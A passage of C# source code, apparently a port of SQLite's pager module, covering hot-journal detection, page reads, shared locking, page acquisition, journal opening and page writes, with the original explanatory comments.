(u16)nExtra; pPager.journalSizeLimit = SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT; Debug.Assert(isOpen(pPager.fd) || tempFile != 0); setSectorSize(pPager); if (!useJournal) { pPager.journalMode = PAGER_JOURNALMODE_OFF; } else if (memDb != 0) { pPager.journalMode = PAGER_JOURNALMODE_MEMORY; } /* pPager.xBusyHandler = 0; */ /* pPager.pBusyHandlerArg = 0; */ pPager.xReiniter = xReinit; /* memset(pPager.aHash, 0, sizeof(pPager.aHash)); */ ppPager = pPager; return SQLITE_OK; } /* ** This function is called after transitioning from PAGER_UNLOCK to ** PAGER_SHARED state. It tests if there is a hot journal present in ** the file-system for the given pager. A hot journal is one that ** needs to be played back. According to this function, a hot-journal ** file exists if the following criteria are met: ** ** * The journal file exists in the file system, and ** * No process holds a RESERVED or greater lock on the database file, and ** * The database file itself is greater than 0 bytes in size, and ** * The first byte of the journal file exists and is not 0x00. ** ** If the current size of the database file is 0 but a journal file ** exists, that is probably an old journal left over from a prior ** database with the same name. In this case the journal file is ** just deleted using OsDelete, *pExists is set to 0 and SQLITE_OK ** is returned. ** ** This routine does not check if there is a master journal filename ** at the end of the file. If there is, and that master journal file ** does not exist, then the journal file is not really hot. In this ** case this routine will return a false-positive. The pager_playback() ** routine will discover that the journal file is not really hot and ** will not roll it back. ** ** If a hot-journal file is found to exist, *pExists is set to 1 and ** SQLITE_OK returned. If no hot-journal file is present, *pExists is ** set to 0 and SQLITE_OK returned. If an IO error occurs while trying ** to determine whether or not a hot-journal file exists, the IO error ** code is returned and the value of *pExists is undefined. */ static int hasHotJournal(Pager pPager, ref int pExists) { sqlite3_vfs pVfs = pPager.pVfs; int rc; /* Return code */ int exists = 0; /* True if a journal file is present */ Debug.Assert(pPager != null); Debug.Assert(pPager.useJournal != 0); Debug.Assert(pPager.state <= PAGER_SHARED); pExists = 0; rc = sqlite3OsAccess(pVfs, pPager.zJournal, SQLITE_ACCESS_EXISTS, ref exists); if (rc == SQLITE_OK && exists != 0) { int locked = 0; /* True if some process holds a RESERVED lock */ /* Race condition here: Another process might have been holding the ** the RESERVED lock and have a journal open at the sqlite3OsAccess() ** call above, but then delete the journal and drop the lock before ** we get to the following sqlite3OsCheckReservedLock() call. If that ** is the case, this routine might think there is a hot journal when ** in fact there is none. This results in a false-positive which will ** be dealt with by the playback routine. Ticket #3883. */ rc = sqlite3OsCheckReservedLock(pPager.fd, ref locked); if (rc == SQLITE_OK && locked == 0) { int nPage = 0; /* Check the size of the database file. If it consists of 0 pages, ** then delete the journal file. See the header comment above for ** the reasoning here. Delete the obsolete journal file under ** a RESERVED lock to avoid race conditions and to avoid violating ** [H33020]. */ rc = sqlite3PagerPagecount(pPager, ref nPage); if (rc == SQLITE_OK) { if (nPage == 0) { sqlite3BeginBenignMalloc(); if (sqlite3OsLock(pPager.fd, RESERVED_LOCK) == SQLITE_OK) { sqlite3OsDelete(pVfs, pPager.zJournal, 0); sqlite3OsUnlock(pPager.fd, SHARED_LOCK); } sqlite3EndBenignMalloc(); } else { /* The journal file exists and no other connection has a reserved ** or greater lock on the database file. Now check that there is ** at least one non-zero bytes at the start of the journal file. ** If there is, then we consider this journal to be hot. If not, ** it can be ignored. */ int f = SQLITE_OPEN_READONLY | SQLITE_OPEN_MAIN_JOURNAL; rc = sqlite3OsOpen(pVfs, pPager.zJournal, pPager.jfd, f, ref f); if (rc == SQLITE_OK) { u8[] first = new u8[1]; rc = sqlite3OsRead(pPager.jfd, first, 1, 0); if (rc == SQLITE_IOERR_SHORT_READ) { rc = SQLITE_OK; } sqlite3OsClose(pPager.jfd); pExists = (first[0] != 0) ? 1 : 0; } else if (rc == SQLITE_CANTOPEN) { /* If we cannot open the rollback journal file in order to see if ** its has a zero header, that might be due to an I/O error, or ** it might be due to the race condition described above and in ** ticket #3883. Either way, assume that the journal is hot. ** This might be a false positive. But if it is, then the ** automatic journal playback and recovery mechanism will deal ** with it under an EXCLUSIVE lock where we do not need to ** worry so much with race conditions. */ pExists = 1; rc = SQLITE_OK; } } } } } return rc; } /* ** Read the content for page pPg out of the database file and into ** pPg->pData. A shared lock or greater must be held on the database ** file before this function is called. ** ** If page 1 is read, then the value of Pager.dbFileVers[] is set to ** the value read from the database file. ** ** If an IO error occurs, then the IO error is returned to the caller. ** Otherwise, SQLITE_OK is returned. */ static int readDbPage(PgHdr pPg) { Pager pPager = pPg.pPager; /* Pager object associated with page pPg */ Pgno pgno = pPg.pgno; /* Page number to read */ int rc; /* Return code */ i64 iOffset; /* Byte offset of file to read from */ #if SQLITE_OMIT_MEMORYDB Debug.Assert( pPager.state>=PAGER_SHARED && 0==MEMDB ); #endif Debug.Assert(isOpen(pPager.fd)); Debug.Assert(pPager.fd.pMethods != null || pPager.tempFile); if (NEVER(!isOpen(pPager.fd))) { Debug.Assert(pPager.tempFile); pPg.pData = new u8[pPager.pageSize];//memset(pPg->pData, 0, pPager.pageSize); return SQLITE_OK; } iOffset = (pgno - 1) * (i64)pPager.pageSize; rc = sqlite3OsRead(pPager.fd, pPg.pData, pPager.pageSize, iOffset); if (rc == SQLITE_IOERR_SHORT_READ) { rc = SQLITE_OK; } if (pgno == 1) { //u8 *dbFileVers = &((u8*)pPg->pData)[24]; //memcpy(&pPager.dbFileVers, dbFileVers, sizeof(pPager.dbFileVers)); Buffer.BlockCopy(pPg.pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length); } #if SQLITE_HAS_CODEC CODEC1(pPager, pPg.pData, pPg.pgno, 3, rc = SQLITE_NOMEM); #endif #if SQLITE_TEST int iValue; iValue = sqlite3_pager_readdb_count.iValue; PAGER_INCR( ref iValue ); sqlite3_pager_readdb_count.iValue = iValue; PAGER_INCR( ref pPager.nRead ); #endif IOTRACE("PGIN %p %d\n", pPager, pgno); PAGERTRACE("FETCH %d page %d hash(%08x)\n", PAGERID(pPager), pgno, pager_pagehash(pPg)); return rc; } /* ** This function is called to obtain a shared lock on the database file. ** It is illegal to call sqlite3PagerAcquire() until after this function ** has been successfully called. If a shared-lock is already held when ** this function is called, it is a no-op. ** ** The following operations are also performed by this function. ** ** 1) If the pager is currently in PAGER_UNLOCK state (no lock held ** on the database file), then an attempt is made to obtain a ** SHARED lock on the database file. Immediately after obtaining ** the SHARED lock, the file-system is checked for a hot-journal, ** which is played back if present. Following any hot-journal ** rollback, the contents of the cache are validated by checking ** the 'change-counter' field of the database file header and ** discarded if they are found to be invalid. ** ** 2) If the pager is running in exclusive-mode, and there are currently ** no outstanding references to any pages, and is in the error state, ** then an attempt is made to clear the error state by discarding ** the contents of the page cache and rolling back any open journal ** file. ** ** If the operation described by (2) above is not attempted, and if the ** pager is in an error state other than SQLITE_FULL when this is called, ** the error state error code is returned. It is permitted to read the ** database when in SQLITE_FULL error state. ** ** Otherwise, if everything is successful, SQLITE_OK is returned. If an ** IO error occurs while locking the database, checking for a hot-journal ** file or rolling back a journal file, the IO error code is returned. */ static int sqlite3PagerSharedLock(Pager pPager) { int rc = SQLITE_OK; /* Return code */ bool isErrorReset = false; /* True if recovering from error state */ if (pPager.errCode != 0) { if (isOpen(pPager.jfd) || !String.IsNullOrEmpty(pPager.zJournal)) { isErrorReset = true; } pPager.errCode = SQLITE_OK; pager_reset(pPager); } if (pPager.state == PAGER_UNLOCK || isErrorReset) { sqlite3_vfs pVfs = pPager.pVfs; int isHotJournal = 0; Debug.Assert( #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else 0 == pPager.memDb #endif ); Debug.Assert(sqlite3PcacheRefCount(pPager.pPCache) == 0); if (pPager.noReadlock != 0) { Debug.Assert(pPager.readOnly); pPager.state = PAGER_SHARED; } else { rc = pager_wait_on_lock(pPager, SHARED_LOCK); if (rc != SQLITE_OK) { Debug.Assert(pPager.state == PAGER_UNLOCK); return pager_error(pPager, rc); } } Debug.Assert(pPager.state >= SHARED_LOCK); /* If a journal file exists, and there is no RESERVED lock on the ** database file, then it either needs to be played back or deleted. */ if (!isErrorReset) { Debug.Assert(pPager.state <= PAGER_SHARED); rc = hasHotJournal(pPager, ref isHotJournal); if (rc != SQLITE_OK) { goto failed; } } if (isErrorReset || isHotJournal != 0) { /* Get an EXCLUSIVE lock on the database file. At this point it is ** important that a RESERVED lock is not obtained on the way to the ** EXCLUSIVE lock. If it were, another process might open the ** database file, detect the RESERVED lock, and conclude that the ** database is safe to read while this process is still rolling the ** hot-journal back. ** ** Because the intermediate RESERVED lock is not requested, any ** other process attempting to access the database file will get to ** this point in the code and fail to obtain its own EXCLUSIVE lock ** on the database file. */ if (pPager.state < EXCLUSIVE_LOCK) { rc = sqlite3OsLock(pPager.fd, EXCLUSIVE_LOCK); if (rc != SQLITE_OK) { rc = pager_error(pPager, rc); goto failed; } pPager.state = PAGER_EXCLUSIVE; } /* Open the journal for read/write access. This is because in ** exclusive-access mode the file descriptor will be kept open and ** possibly used for a transaction later on. On some systems, the ** OsTruncate() call used in exclusive-access mode also requires ** a read/write file handle. */ if (!isOpen(pPager.jfd)) { int res = 0; rc = sqlite3OsAccess(pVfs, pPager.zJournal, SQLITE_ACCESS_EXISTS, ref res); if (rc == SQLITE_OK) { if (res != 0) { int fout = 0; int f = SQLITE_OPEN_READWRITE | SQLITE_OPEN_MAIN_JOURNAL; Debug.Assert(!pPager.tempFile); rc = sqlite3OsOpen(pVfs, pPager.zJournal, pPager.jfd, f, ref fout); Debug.Assert(rc != SQLITE_OK || isOpen(pPager.jfd)); if (rc == SQLITE_OK && (fout & SQLITE_OPEN_READONLY) != 0) { rc = SQLITE_CANTOPEN; sqlite3OsClose(pPager.jfd); } } else { /* If the journal does not exist, it usually means that some ** other connection managed to get in and roll it back before ** this connection obtained the exclusive lock above. Or, it ** may mean that the pager was in the error-state when this ** function was called and the journal file does not exist. */ rc = pager_end_transaction(pPager, 0); } } } if (rc != SQLITE_OK) { goto failed; } /* TODO: Why are these cleared here? Is it necessary? */ pPager.journalStarted = false; pPager.journalOff = 0; pPager.setMaster = 0; pPager.journalHdr = 0; /* Playback and delete the journal. Drop the database write ** lock and reacquire the read lock. Purge the cache before ** playing back the hot-journal so that we don't end up with ** an inconsistent cache. */ if (isOpen(pPager.jfd)) { rc = pager_playback(pPager, 1); if (rc != SQLITE_OK) { rc = pager_error(pPager, rc); goto failed; } } Debug.Assert((pPager.state == PAGER_SHARED) || (pPager.exclusiveMode && pPager.state > PAGER_SHARED) ); } if (pPager.pBackup != null || sqlite3PcachePagecount(pPager.pPCache) > 0) { /* The shared-lock has just been acquired on the database file ** and there are already pages in the cache (from a previous ** read or write transaction). Check to see if the database ** has been modified. If the database has changed, flush the ** cache. ** ** Database changes is detected by looking at 15 bytes beginning ** at offset 24 into the file. The first 4 of these 16 bytes are ** a 32-bit counter that is incremented with each change. The ** other bytes change randomly with each file change when ** a codec is in use. ** ** There is a vanishingly small chance that a change will not be ** detected. The chance of an undetected change is so small that ** it can be neglected. */ byte[] dbFileVers = new byte[pPager.dbFileVers.Length]; int idummy = 0; sqlite3PagerPagecount(pPager, ref idummy); if (pPager.errCode != 0) { rc = pPager.errCode; goto failed; } Debug.Assert(pPager.dbSizeValid); if (pPager.dbSize > 0) { IOTRACE("CKVERS %p %d\n", pPager, dbFileVers.Length); rc = sqlite3OsRead(pPager.fd, dbFileVers, dbFileVers.Length, 24); if (rc != SQLITE_OK) { goto failed; } } else { dbFileVers = new byte[dbFileVers.Length]; //memset(dbFileVers, 0, dbFileVers).Length; } // This loop is very short -- so only minor performance hit for (int i = 0; i < dbFileVers.Length; i++) //if (memcmp(pPager.dbFileVers, dbFileVers, dbFileVers).Length != 0) if (pPager.dbFileVers[i] != dbFileVers[i]) { pager_reset(pPager); break; } } Debug.Assert(pPager.exclusiveMode || pPager.state == PAGER_SHARED); } failed: if (rc != SQLITE_OK) { /* pager_unlock() is a no-op for exclusive mode and in-memory databases. */ pager_unlock(pPager); } return rc; } /* ** If the reference count has reached zero, rollback any active ** transaction and unlock the pager. ** ** Except, in locking_mode=EXCLUSIVE when there is nothing to in ** the rollback journal, the unlock is not performed and there is ** nothing to rollback, so this routine is a no-op. */ static void pagerUnlockIfUnused(Pager pPager) { if ((sqlite3PcacheRefCount(pPager.pPCache) == 0) && (!pPager.exclusiveMode || pPager.journalOff > 0)) { pagerUnlockAndRollback(pPager); } } /* ** Acquire a reference to page number pgno in pager pPager (a page ** reference has type DbPage*). If the requested reference is ** successfully obtained, it is copied to *ppPage and SQLITE_OK returned. ** ** If the requested page is already in the cache, it is returned. ** Otherwise, a new page object is allocated and populated with data ** read from the database file. In some cases, the pcache module may ** choose not to allocate a new page object and may reuse an existing ** object with no outstanding references. ** ** The extra data appended to a page is always initialized to zeros the ** first time a page is loaded into memory. If the page requested is ** already in the cache when this function is called, then the extra ** data is left as it was when the page object was last used. ** ** If the database image is smaller than the requested page or if a ** non-zero value is passed as the noContent parameter and the ** requested page is not already stored in the cache, then no ** actual disk read occurs. In this case the memory image of the ** page is initialized to all zeros. ** ** If noContent is true, it means that we do not care about the contents ** of the page. This occurs in two seperate scenarios: ** ** a) When reading a free-list leaf page from the database, and ** ** b) When a savepoint is being rolled back and we need to load ** a new page into the cache to populate with the data read ** from the savepoint journal. ** ** If noContent is true, then the data returned is zeroed instead of ** being read from the database. Additionally, the bits corresponding ** to pgno in Pager.pInJournal (bitvec of pages already written to the ** journal file) and the PagerSavepoint.pInSavepoint bitvecs of any open ** savepoints are set. This means if the page is made writable at any ** point in the future, using a call to sqlite3PagerWrite(), its contents ** will not be journaled. This saves IO. ** ** The acquisition might fail for several reasons. In all cases, ** an appropriate error code is returned and *ppPage is set to NULL. ** ** See also sqlite3PagerLookup(). Both this routine and Lookup() attempt ** to find a page in the in-memory cache first. If the page is not already ** in memory, this routine goes to disk to read it in whereas Lookup() ** just returns 0. This routine acquires a read-lock the first time it ** has to go to disk, and could also playback an old journal if necessary. ** Since Lookup() never goes to disk, it never has to deal with locks ** or journal files. */ // Under C# from the header file //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0) static int sqlite3PagerGet( Pager pPager, /* The pager open on the database file */ u32 pgno, /* Page number to fetch */ ref DbPage ppPage /* Write a pointer to the page here */ ) { return sqlite3PagerAcquire(pPager, pgno, ref ppPage, 0); } static int sqlite3PagerAcquire( Pager pPager, /* The pager open on the database file */ u32 pgno, /* Page number to fetch */ ref DbPage ppPage, /* Write a pointer to the page here */ u8 noContent /* Do not bother reading content from disk if true */ ) { int rc; PgHdr pPg = null; Debug.Assert(assert_pager_state(pPager)); Debug.Assert(pPager.state > PAGER_UNLOCK); if (pgno == 0) { #if SQLITE_DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } /* If the pager is in the error state, return an error immediately. ** Otherwise, request the page from the PCache layer. */ if (pPager.errCode != SQLITE_OK && pPager.errCode != SQLITE_FULL) { rc = pPager.errCode; } else { rc = sqlite3PcacheFetch(pPager.pPCache, pgno, 1, ref ppPage); } if (rc != SQLITE_OK) { /* Either the call to sqlite3PcacheFetch() returned an error or the ** pager was already in the error-state when this function was called. ** Set pPg to 0 and jump to the exception handler. */ pPg = null; goto pager_acquire_err; } Debug.Assert((ppPage).pgno == pgno); Debug.Assert((ppPage).pPager == pPager || (ppPage).pPager == null); if ((ppPage).pPager != null) { /* In this case the pcache already contains an initialized copy of ** the page. Return without further ado. */ Debug.Assert(pgno <= PAGER_MAX_PGNO && pgno != PAGER_MJ_PGNO(pPager)); PAGER_INCR(ref pPager.nHit); return SQLITE_OK; } else { /* The pager cache has created a new page. Its content needs to ** be initialized. */ int nMax = 0; #if SQLITE_TEST PAGER_INCR( ref pPager.nMiss ); #endif pPg = ppPage; pPg.pPager = pPager; pPg.pExtra = new MemPage();//memset(pPg.pExtra, 0, pPager.nExtra); /* The maximum page number is 2^31. Return SQLITE_CORRUPT if a page ** number greater than this, or the unused locking-page, is requested. */ if (pgno > PAGER_MAX_PGNO || pgno == PAGER_MJ_PGNO(pPager)) { #if SQLITE_DEBUG rc = SQLITE_CORRUPT_BKPT(); #else rc = SQLITE_CORRUPT_BKPT; #endif goto pager_acquire_err; } rc = sqlite3PagerPagecount(pPager, ref nMax); if (rc != SQLITE_OK) { goto pager_acquire_err; } if (nMax < (int)pgno || #if SQLITE_OMIT_MEMORYDB 1==MEMDB #else pPager.memDb != 0 #endif || noContent != 0) { if (pgno > pPager.mxPgno) { rc = SQLITE_FULL; goto pager_acquire_err; } if (noContent != 0) { /* Failure to set the bits in the InJournal bit-vectors is benign. ** It merely means that we might do some extra work to journal a ** page that does not need to be journaled. Nevertheless, be sure ** to test the case where a malloc error occurs while trying to set ** a bit in a bit vector. */ sqlite3BeginBenignMalloc(); if (pgno <= pPager.dbOrigSize) { #if !NDEBUG || SQLITE_COVERAGE_TEST rc = sqlite3BitvecSet( pPager.pInJournal, pgno ); //TESTONLY( rc = ) sqlite3BitvecSet(pPager.pInJournal, pgno); #else sqlite3BitvecSet(pPager.pInJournal, pgno); #endif testcase(rc == SQLITE_NOMEM); } #if !NDEBUG || SQLITE_COVERAGE_TEST rc = addToSavepointBitvecs( pPager, pgno ); //TESTONLY( rc = ) addToSavepointBitvecs(pPager, pgno); #else addToSavepointBitvecs(pPager, pgno); #endif testcase(rc == SQLITE_NOMEM); sqlite3EndBenignMalloc(); } else { //memset(pPg->pData, 0, pPager.pageSize); Array.Clear(pPg.pData, 0, pPager.pageSize); } IOTRACE("ZERO %p %d\n", pPager, pgno); } else { Debug.Assert(pPg.pPager == pPager); rc = readDbPage(pPg); if (rc != SQLITE_OK) { goto pager_acquire_err; } } #if SQLITE_CHECK_PAGES pPg.pageHash = pager_pagehash(pPg); #endif } return SQLITE_OK; pager_acquire_err: Debug.Assert(rc != SQLITE_OK); if (pPg != null) { sqlite3PcacheDrop(pPg); } pagerUnlockIfUnused(pPager); ppPage = null; return rc; } /* ** Acquire a page if it is already in the in-memory cache. Do ** not read the page from disk. Return a pointer to the page, ** or 0 if the page is not in cache. Also, return 0 if the ** pager is in PAGER_UNLOCK state when this function is called, ** or if the pager is in an error state other than SQLITE_FULL. ** ** See also sqlite3PagerGet(). The difference between this routine ** and sqlite3PagerGet() is that _get() will go to the disk and read ** in the page if the page is not already in cache. This routine ** returns NULL if the page is not in cache or if a disk I/O error ** has ever happened. */ static DbPage sqlite3PagerLookup(Pager pPager, u32 pgno) { PgHdr pPg = null; Debug.Assert(pPager != null); Debug.Assert(pgno != 0); Debug.Assert(pPager.pPCache != null); Debug.Assert(pPager.state > PAGER_UNLOCK); sqlite3PcacheFetch(pPager.pPCache, pgno, 0, ref pPg); return pPg; } /* ** Release a page reference. ** ** If the number of references to the page drop to zero, then the ** page is added to the LRU list. When all references to all pages ** are released, a rollback occurs and the lock on the database is ** removed. */ static void sqlite3PagerUnref(DbPage pPg) { if (pPg != null) { Pager pPager = pPg.pPager; sqlite3PcacheRelease(pPg); pagerUnlockIfUnused(pPager); } } /* ** If the main journal file has already been opened, ensure that the ** sub-journal file is open too. If the main journal is not open, ** this function is a no-op. ** ** SQLITE_OK is returned if everything goes according to plan. ** An SQLITE_IOERR_XXX error code is returned if a call to ** sqlite3OsOpen() fails. */ static int openSubJournal(Pager pPager) { int rc = SQLITE_OK; if (isOpen(pPager.jfd) && !isOpen(pPager.sjfd)) { if (pPager.journalMode == PAGER_JOURNALMODE_MEMORY || pPager.subjInMemory != 0) { sqlite3MemJournalOpen(pPager.sjfd); } else { rc = pagerOpentemp(pPager, ref pPager.sjfd, SQLITE_OPEN_SUBJOURNAL); } } return rc; } /* ** This function is called at the start of every write transaction. ** There must already be a RESERVED or EXCLUSIVE lock on the database ** file when this routine is called. ** ** Open the journal file for pager pPager and write a journal header ** to the start of it. If there are active savepoints, open the sub-journal ** as well. This function is only used when the journal file is being ** opened to write a rollback log for a transaction. It is not used ** when opening a hot journal file to roll it back. ** ** If the journal file is already open (as it may be in exclusive mode), ** then this function just writes a journal header to the start of the ** already open file. ** ** Whether or not the journal file is opened by this function, the ** Pager.pInJournal bitvec structure is allocated. ** ** Return SQLITE_OK if everything is successful. Otherwise, return ** SQLITE_NOMEM if the attempt to allocate Pager.pInJournal fails, or ** an IO error code if opening or writing the journal file fails. */ static int pager_open_journal(Pager pPager) { int rc = SQLITE_OK; /* Return code */ sqlite3_vfs pVfs = pPager.pVfs; /* Local cache of vfs pointer */ Debug.Assert(pPager.state >= PAGER_RESERVED); Debug.Assert(pPager.useJournal != 0); Debug.Assert(pPager.pInJournal == null); Debug.Assert(pPager.journalMode != PAGER_JOURNALMODE_OFF); /* If already in the error state, this function is a no-op. But on ** the other hand, this routine is never called if we are already in ** an error state. */ if (NEVER(pPager.errCode) != 0) return pPager.errCode; /* TODO: Is it really possible to get here with dbSizeValid==0? If not, ** the call to PagerPagecount() can be removed. */ testcase(pPager.dbSizeValid == false); int idummy = 0; sqlite3PagerPagecount(pPager, ref idummy); pPager.pInJournal = sqlite3BitvecCreate(pPager.dbSize);// sqlite3MallocZero(pPager.dbSize / 8 + 1); if (pPager.pInJournal == null) { return SQLITE_NOMEM; } /* Open the journal file if it is not already open. */ if (!isOpen(pPager.jfd)) { if (pPager.journalMode == PAGER_JOURNALMODE_MEMORY) { sqlite3MemJournalOpen(pPager.jfd); } else { int flags = /* VFS flags to open journal file */ SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | (pPager.tempFile ? (SQLITE_OPEN_DELETEONCLOSE | SQLITE_OPEN_TEMP_JOURNAL) : (SQLITE_OPEN_MAIN_JOURNAL) ); #if SQLITE_ENABLE_ATOMIC_WRITE rc = sqlite3JournalOpen( pVfs, pPager.zJournal, pPager.jfd, flags, jrnlBufferSize(pPager) ); #else int int0 = 0; rc = sqlite3OsOpen(pVfs, pPager.zJournal, pPager.jfd, flags, ref int0); #endif } Debug.Assert(rc != SQLITE_OK || isOpen(pPager.jfd)); } /* Write the first journal header to the journal file and open ** the sub-journal if necessary. */ if (rc == SQLITE_OK) { /* TODO: Check if all of these are really required. */ pPager.dbOrigSize = pPager.dbSize; pPager.journalStarted = false; pPager.needSync = false; pPager.nRec = 0; pPager.journalOff = 0; pPager.setMaster = 0; pPager.journalHdr = 0; rc = writeJournalHdr(pPager); } if (rc == SQLITE_OK && pPager.nSavepoint != 0) { rc = openSubJournal(pPager); } if (rc != SQLITE_OK) { sqlite3BitvecDestroy(ref pPager.pInJournal); pPager.pInJournal = null; } return rc; } /* ** Begin a write-transaction on the specified pager object. If a ** write-transaction has already been opened, this function is a no-op. ** ** If the exFlag argument is false, then acquire at least a RESERVED ** lock on the database file. If exFlag is true, then acquire at least ** an EXCLUSIVE lock. If such a lock is already held, no locking ** functions need be called. ** ** If this is not a temporary or in-memory file and, the journal file is ** opened if it has not been already. For a temporary file, the opening ** of the journal file is deferred until there is an actual need to ** write to the journal. TODO: Why handle temporary files differently? ** ** If the journal file is opened (or if it is already open), then a ** journal-header is written to the start of it. ** ** If the subjInMemory argument is non-zero, then any sub-journal opened ** within this transaction will be opened as an in-memory file. This ** has no effect if the sub-journal is already opened (as it may be when ** running in exclusive mode) or if the transaction does not require a ** sub-journal. If the subjInMemory argument is zero, then any required ** sub-journal is implemented in-memory if pPager is an in-memory database, ** or using a temporary file otherwise. */ static int sqlite3PagerBegin(Pager pPager, bool exFlag, int subjInMemory) { int rc = SQLITE_OK; Debug.Assert(pPager.state != PAGER_UNLOCK); pPager.subjInMemory = (u8)subjInMemory; if (pPager.state == PAGER_SHARED) { Debug.Assert(pPager.pInJournal == null); #if SQLITE_OMIT_MEMORYDB Debug.Assert( 0==MEMDB && !pPager.tempFile ); #endif /* Obtain a RESERVED lock on the database file. If the exFlag parameter ** is true, then immediately upgrade this to an EXCLUSIVE lock. The ** busy-handler callback can be used when upgrading to the EXCLUSIVE ** lock, but not when obtaining the RESERVED lock. */ rc = sqlite3OsLock(pPager.fd, RESERVED_LOCK); if (rc == SQLITE_OK) { pPager.state = PAGER_RESERVED; if (exFlag) { rc = pager_wait_on_lock(pPager, EXCLUSIVE_LOCK); } } /* If the required locks were successfully obtained, open the journal ** file and write the first journal-header to it. */ if (rc == SQLITE_OK && pPager.journalMode != PAGER_JOURNALMODE_OFF) { rc = pager_open_journal(pPager); } } else if (isOpen(pPager.jfd) && pPager.journalOff == 0) { /* This happens when the pager was in exclusive-access mode the last ** time a (read or write) transaction was successfully concluded ** by this connection. Instead of deleting the journal file it was ** kept open and either was truncated to 0 bytes or its header was ** overwritten with zeros. */ Debug.Assert(pPager.nRec == 0); Debug.Assert(pPager.dbOrigSize == 0); Debug.Assert(pPager.pInJournal == null); rc = pager_open_journal(pPager); } PAGERTRACE("TRANSACTION %d\n", PAGERID(pPager)); Debug.Assert(!isOpen(pPager.jfd) || pPager.journalOff > 0 || rc != SQLITE_OK); if (rc != SQLITE_OK) { Debug.Assert(!pPager.dbModified); /* Ignore any IO error that occurs within pager_end_transaction(). The ** purpose of this call is to reset the internal state of the pager ** sub-system. It doesn't matter if the journal-file is not properly ** finalized at this point (since it is not a valid journal file anyway). */ pager_end_transaction(pPager, 0); } return rc; } /* ** Mark a single data page as writeable. The page is written into the ** main journal or sub-journal as required. If the page is written into ** one of the journals, the corresponding bit is set in the ** Pager.pInJournal bitvec and the PagerSavepoint.pInSavepoint bitvecs ** of any open savepoints as appropriate. */ static int pager_write(PgHdr pPg) { byte[] pData = pPg.pData; Pager pPager = pPg.pPager; int rc = SQLITE_OK; /* This routine is not called unless a transaction has already been ** started. */ Debug.Assert(pPager.state >= PAGER_RESERVED); /* If an error has been previously detected, we should not be ** calling this routine. Repeat the error for robustness. */ if (NEVER(pPager.errCode) != 0) return pPager.errCode; /* Higher-level routines never call this function if database is not ** writable. But check anyway, just for robustness. */ if (NEVER(pPager.readOnly)) return SQLITE_PERM; Debug.Assert(0 == pPager.setMaster); #if SQLITE_CHECK_PAGES CHECK_PAGE(pPg); #endif /* Mark the page as dirty. If the page has already been written ** to the journal then we can return right away. */ sqlite3PcacheMakeDirty(pPg); if (pageInJournal(pPg) && !subjRequiresPage(pPg)) { pPager.dbModified = true; } else { /* If we get this far, it means that the page needs to be ** written to the transaction journal or the ckeckpoint journal ** or both. ** ** Higher level routines should have already started a transaction, ** which means they have acquired the necessary locks and opened ** a rollback journal. Double-check to makes sure this is the case. */ rc = sqlite3PagerBegin(pPager, false, pPager.subjInMemory); if (NEVER(rc != SQLITE_OK)) { return rc; } if (!isOpen(pPager.jfd) && pPager.journalMode != PAGER_JOURNALMODE_OFF) { Debug.Assert(pPager.useJournal != 0); rc = pager_open_journal(pPager); if (rc != SQLITE_OK) return rc; } pPager.dbModified = true; /* The transaction journal now exists and we have a RESERVED or an ** EXCLUSIVE lock on the main database file. Write the current page to ** the transaction journal if it is not there already. */ if (!pageInJournal(pPg) && isOpen(pPager.jfd)) { if (pPg.pgno <= pPager.dbOrigSize) { u32 cksum; byte[] pData2 = null; /* We should never write to the journal file the page that ** contains the database locks. The following Debug.Assert verifies ** that we do not. */ Debug.Assert(pPg.pgno != ((PENDING_BYTE / (pPager.pageSize)) + 1));//PAGER_MJ_PGNO(pPager) ); CODEC2(pPager, pData, pPg.pgno, 7, SQLITE_NOMEM, ref pData2);// CODEC2(pPager, pData, pPg->pgno, 7, return SQLITE_NOMEM, pData2); cksum = pager_cksum(pPager, pData2); rc = write32bits(pPager.jfd, pPager.journalOff, (u32)pPg.pgno); if (rc == SQLITE_OK) { rc = sqlite3OsWrite(pPager.jfd, pData2, pPager.pageSize, pPager.journalOff + 4); pPager.journalOff += pPager.pageSize + 4; } if (rc == SQLITE_OK) { rc = write32bits(pPager.jfd, pPager.journalOff, (u32)cksum); pPager.journalOff += 4; } IOTRACE("JOUT %p %d %lld %d\n", pPager, pPg.pgno, pPager.journalOff, pPager.pageSize); #if SQLITE_TEST int iValue; iValue = sqlite3_pager_writej_count.iValue; PAGER_INCR( ref iValue ); sqlite3_pager_writej_count.iValue = iValue; #endif PAGERTRACE("JOURNAL %d page %d needSync=%d hash(%08x)\n", PAGERID(pPager), pPg.pgno, ((pPg.flags & PGHDR_NEED_SYNC) != 0 ? 1 : 0), pager_pagehash(pPg)); /* Even if an IO or diskfull error occurred while journalling the ** page in the block above, set the need-sync flag for the page. ** Otherwise, when the transaction is rolled back, the logic in ** playback_one_page() will think that the page needs to be restored ** in the database file. And if an IO error occurs while doing so, ** then corruption may follow. */ if (!pPager.noSync) { pPg.flags |= PGHDR_NEED_SYNC; pPager.needSync = true; } /* An error has occurred writing to the journal file. The ** transaction will be rolled back by the layer above. */ if (rc != SQLITE_OK) { return rc; } pPager.nRec++; Debug.Assert(pPager.pInJournal != null); rc = sqlite3BitvecSet(pPager.pInJournal, pPg.pgno); testcase(rc == SQLITE_NOMEM); Debug.Assert(rc == SQLITE_OK || rc == SQLITE_NOMEM); rc |= addToSavepointBitvecs(pPager, pPg.pgno); if (rc != SQLITE_OK) { Debug.Assert(rc == SQLITE_NOMEM); return rc; } } else { if (!pPager.journalStarted && !pPager.noSync) { pPg.flags |= PGHDR_NEED_SYNC; pPager.needSync = true; } PAGERTRACE("APPEND %d page %d needSync=%d\n", PAGERID(pPager), pPg.pgno, ((pPg.flags & PGHDR_NEED_SYNC) != 0 ? 1 : 0)); } } /* If the statement journal is open and the page is not in it, ** then write the current page to the statement journal. Note that ** the statement journal format differs from the standard journal format ** in that it omits the checksums and the header. */ if (subjRequiresPage(pPg)) { rc = subjournalPage(pPg); } } /* Update the database size and return. */ Debug.Assert(pPager.state >= PAGER_SHARED); if (pPager.dbSize < (int)pPg.pgno) { pPager.dbSize = pPg.pgno; } return rc; } /* ** Mark a data page as writeable. This routine must be called before ** making changes to a page. The caller must check the return value ** of this function and be careful not to change any page data unless ** this routine returns 